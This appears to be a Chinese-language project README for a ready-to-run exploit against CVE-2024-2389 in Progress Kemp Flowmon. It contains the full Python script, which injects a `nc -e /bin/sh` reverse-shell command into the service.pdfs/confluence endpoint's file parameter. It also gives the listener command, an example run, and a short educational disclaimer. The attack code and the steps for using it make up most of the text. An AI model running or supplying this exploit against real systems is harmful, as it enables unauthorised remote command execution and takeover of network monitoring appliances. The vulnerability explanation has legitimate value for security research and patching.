Flowmon CVE-2024-2389 漏洞利用工具
本项目是一个用于检测和利用 Progress Kemp Flowmon 系统中 CVE-2024-2389 安全漏洞的 Python 脚本工具。该漏洞允许经过身份验证的攻击者在受影响的 Flowmon 设备上执行任意命令,从而实现远程代码执行和反向 Shell 连接。
功能特性
- 漏洞利用:针对 Flowmon
service.pdfs/confluence端点的命令注入漏洞进行利用 - 反向 Shell:在目标服务器上建立反向 Shell 连接,实现远程控制
- 交互式输入:通过命令行提示输入目标主机、本地 IP 和端口,操作简单直观
- 错误处理:包含完整的 HTTP、SSL 和其他异常处理机制
- 教育目的:适用于安全研究人员学习和理解命令注入漏洞的原理
安装指南
系统要求
- Python 3.x
- 网络连接到目标 Flowmon 设备
依赖安装
本项目仅依赖 Python 的 requests 库。使用以下命令安装:
pip install requests
获取项目代码
git clone https://github.com/adhikara13/CVE-2024-2389.git
cd CVE-2024-2389
使用说明
基本使用
- 运行主脚本:
python main.py
-
根据提示输入以下信息:
- Flowmon host:目标 Flowmon 服务器的地址(例如
192.168.1.100或flowmon.example.com) - Your IP address:您本地监听机器的 IP 地址(用于接收反向 Shell)
- Your port:本地监听端口(例如
4444)
- Flowmon host:目标 Flowmon 服务器的地址(例如
-
在执行脚本前,请先在本地启动一个 Netcat 监听器:
nc -lvnp 4444
- 执行脚本后,如果目标存在漏洞,您将在 Netcat 监听器中获得一个反向 Shell。
使用示例
$ python main.py
┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓┏┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━┏┛ ┫┣┫┗┫
┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗━┗┛┗┛┗┛
Enter Flowmon host: 192.168.1.100
Enter your IP address: 192.168.1.50
Enter your port: 4444
漏洞原理
该漏洞存在于 Flowmon 的 service.pdfs/confluence 端点。当 lang 参数被设置为包含反引号的特殊字符串时,服务器会执行其中的系统命令。本工具构造如下 URL 触发命令执行:
https://{host}/service.pdfs/confluence?lang=en&file=`nc -e /bin/sh {ip_address} {port}`
核心代码
主利用脚本 (main.py)
import requests
banner = """
┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓┏┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━┏┛ ┫┣┫┗┫
┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗━┗┛┗┛┗┛
"""
print(banner)
host = input("Enter Flowmon host: ")
ip_address = input("Enter your IP address: ")
port = input("Enter your port: ")
# 构造利用 URL,在 file 参数中注入反向 Shell 命令
url = f"https://{host}/service.pdfs/confluence?lang=en&file=`nc+-e+/bin/sh+{ip_address}+{port}`"
try:
# 发送 HTTPS 请求,禁用 SSL 验证(适用于自签名证书)
response = requests.get(url, verify=False)
response.raise_for_status()
print("Response:")
print(response.text)
except requests.exceptions.HTTPError as http_err:
print(f"An HTTP error occurred: {http_err}")
except requests.exceptions.SSLError as ssl_err:
print(f"An SSL error occurred: {ssl_err}. This might be due to the server's SSL certificate not being trusted. Please ensure the server's SSL certificate is valid and trusted.")
except Exception as err:
print(f"An unexpected error occurred: {err}")
免责声明
本工具仅用于教育和授权的安全测试目的。未经明确授权,使用此脚本攻击您不拥有或没有测试权限的系统是非法的。使用者需自行承担所有风险和责任。 6HFtX5dABrKlqXeO5PUv/43YcaEuZ0YmcrMesGbSZVs=